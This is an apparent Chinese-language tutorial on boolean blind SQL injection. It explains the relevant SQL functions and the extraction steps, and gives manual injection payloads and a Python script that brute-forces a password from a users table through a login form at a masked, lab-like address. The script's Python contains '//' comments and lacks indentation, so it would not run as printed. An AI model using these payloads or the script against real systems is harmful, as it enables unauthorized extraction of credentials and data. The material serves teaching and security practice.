SQL注入-布尔盲注

布尔盲注介绍

构造SQL语句,利用and,or等关键字来其后的语句 truefalse使web页面返回true或者false,从而达到注入的目的来获取信息

使用条件:适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false类似的结果(例如:登录成功、)

注意事项

  • 前面参数在数据库无结果时,拼接语句使用关键词or

  • 前面参数在数据库有结果时,拼接语句使用关键词and

    另建议使用脚本

注入使用函数

1.substr()/substring()函数

substr()/substring()函数:用来截取数据库某个字段中的一部分。

1
substr(string,start开始位置,length截取长度)  #语法

参数

  • string:必选,数据库中需要截取的字段
  • start:必选。正数,从字符串指定位置开始截取;负数,从字符串结尾指定位置开始 截取;0,在字符串中第一个位置开始截取。
  • length:可选,需要截取的长度。缺省。即截取到结束位置

2.ascii()函数

ascii()函数:返回字符串str的最左边的数值。

1
ascii(str)  #语法

3.length() 函数

length() 函数,返回字符串的长度

1
length(str) #语法

4.left() 函数

left() 函数,返回从左至右截取固定长度的字符串

1
left(str,n) #语法 截取字符串str的从左至右前n个字符

注入流程

  • 求当前数据库长度
  • 求当前数据库表的ASCII (即爆出数据库名)
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的ASCII

手工注入过程详解

基本模板

1
?id=1' and (长度/字符函数(所爆数据的SQL) = n) --+

例如:

1
?id=1' and ASCII(SUBSTR((select table_name FROM information_schema.tables where table_schema = database() LIMIT 0,1),1,1)) = 101 #

以爆数据库名字为例

求长度

1
?id=1' and (length(database()) = n) --+

通过页面的回显进行判断,数据库的长度是多少

求数据库名称

使用left 函数

1
2
3
4
5
6
-- 从左至右截取一个字符
SELECT * from users WHERE id = 1 and (left(database(),1)='*')
-- 从左只有截取两个字符
SELECT * from users WHERE id = 1 and (left(database(),2)='**')
-- 从左只有截取n个字符
SELECT * from users WHERE id = 1 and (left(database(),n)='*****')

不断修改*中的字符,使之页面显示为true的类似项(如登录成功、成功等)

使用SUBSTR函数

1
2
3
4
5
6
-- 截取第1个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),1,1)) = ***)
-- 截取第2个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),2,1)) = ***)
-- 截取第n个字符
SELECT * from users WHERE id = 1 AND (ASCII(SUBSTR(database(),n,1)) = ***)

不断修改*中的ASCII码,使之页面显示为true的类似项(如登录成功、成功等)

注入脚本

注意查看表单的提交变量名称

使用POST提交数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

chars = "R0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~{}"
result = ""


def get_length(value): # 获取要查询的数据的长度
for n in range(1, 100):
payload = "admin' and length(({0})) ={1} #".format(data_payload, n)
data = {"username": payload, "password": "admin"} //注意查看表单的提交变量名称
html = requests.post(url, data=data)
length = len(html.text)
if length < value:
print("……data length is :" + str(n))
return n


def get_data(data_length, value): # 获取数据
global result
for i in range(1, data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload, i, ord(char))
data = {"username": payload, "password": "admin"} //注意查看表单的提交变量名称
html = requests.post(url, data=data)
length = len(html.text)
if length < value: # 根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :" + result)
break


url = "http://***.***.10.67:2081/hard.php"
data_payload = "select password from users limit 0,1" //所爆数据的sql语句
value = 550 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看

length = get_length(value) +1
get_data(length, value)
print(result)